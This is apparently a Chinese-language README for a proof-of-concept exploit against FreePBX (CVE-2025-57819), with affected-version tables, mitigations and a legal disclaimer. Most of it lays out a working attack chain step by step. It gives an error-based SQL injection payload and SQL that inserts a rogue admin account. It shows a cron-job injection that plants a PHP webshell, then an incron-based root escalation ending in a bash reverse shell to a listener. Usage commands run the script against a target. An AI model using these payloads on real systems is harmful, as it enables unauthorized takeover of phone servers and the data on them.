CVE-2025-57819 的概念验证漏洞利用,这是 FreePBX 中的一个未认证 SQL 注入漏洞,可串联管理员账户创建、webshell 部署和 root 提权,最终实现 RCE。
仅供教育与安全研究使用 - 请参阅下方法律声明
针对 CVE-2025-57819 的漏洞利用概念验证,这是 FreePBX 中一个严重的未授权 SQL 注入漏洞,可导致远程代码执行。本 PoC 是在官方补丁发布之后才公开的,仅供安全研究和授权测试使用。
FreePBX 15.x、16.x 和 17.x 版本(低于已修补版本)在 endpoint 模块的 AJAX 处理器中存在未授权 SQL 注入漏洞。该漏洞利用链允许:
| CVE ID | CVE-2025-57819 |
| 类型 | 未授权 SQL 注入(基于报错) |
| CVSS | 9.8 / 10.0(严重) |
| 受影响版本 | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| 已修补版本 | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | 是(2025 年 8 月 29 日) |
GET /admin/ajax.php?brand=<PAYLOAD>
endpoint 模块 AJAX 处理器中的 brand 参数接受用户输入而未进行验证,导致基于报错的 SQL 注入。
使用 EXTRACTVALUE() 基于报错的提取方式验证 SQLi,以泄露数据库名称:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
向 asterisk.ampusers 插入新的管理员用户:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
利用有效的管理员凭据,该漏洞利用程序向 FreePBX 进行身份验证并建立已认证会话。会话 cookie 会被保存,并用于所有后续的已认证请求。
向 asterisk.cron_jobs 注入 webshell 命令:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
FreePBX cron 运行器以 asterisk 用户身份执行该命令,从而植入 PHP webshell。
PHP webshell 被部署到 /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
漏洞利用程序轮询 webshell 直到其激活,从而以 asterisk 用户(uid=999)身份实现 RCE。
如果目标上配置了 incron:
/var/spool/asterisk/incron/ 中创建触发文件incrond(以 root 身份运行)检测到文件创建/usr/bin/sysadmin_managersysadmin_manager 验证 GPG 签名并分发到 fwconsole-commands 钩子/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1结果:在反向监听器上获得 root shell(如果 incron 可用)。
brand 参数没有输入验证asterisk.cron_jobs 表以 asterisk 身份执行命令git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| 版本 | 状态 |
|---|---|
| 15.0.0 - 15.0.65 | 存在漏洞 |
| 15.0.66+ | 已修补 |
| 16.0.0 - 16.0.88 | 存在漏洞 |
| 16.0.89+ | 已修补 |
| 17.0.0 - 17.0.2 | 存在漏洞 |
| 17.0.3+ | 已修补 |
立即:
/admin/ajax.php 访问systemctl disable incrond永久: 升级到已修补版本:15.0.66+、16.0.89+ 或 17.0.3+
⚠️ 免责声明
本概念验证仅供授权的安全测试和教育目的提供。作者对因滥用本工具或本工具造成的损害不承担任何责任。
您必须遵守:
禁止用途:
责任豁免: 作者不对以下情况负责:
此漏洞:
JazzTheRabbit
MIT License